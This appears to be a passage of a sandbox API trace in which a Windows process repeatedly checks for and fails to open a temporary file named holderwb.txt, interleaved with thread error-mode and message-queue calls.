	[0099.601] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.601] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.601] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.602] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.602] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.602] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.602] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.602] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.602] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.602] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.603] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.603] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.603] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.603] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.603] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.604] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.604] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.604] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.604] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.604] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.604] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.605] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.605] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.605] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.605] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.618] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.618] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.618] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.618] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.618] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.618] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.619] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.619] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.619] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.620] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.620] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.620] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.620] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.620] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.621] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.621] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.621] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.621] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.621] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.621] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.622] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.622] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.622] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.622] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.623] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.623] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.623] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.623] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.623] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.623] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.624] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.624] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.624] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.624] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.624] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.624] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.624] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.625] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.625] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.625] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.625] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.625] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.625] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.625] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.625] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.626] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.626] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.626] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.627] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.627] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.627] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.627] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.627] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.628] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.628] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.628] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.628] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
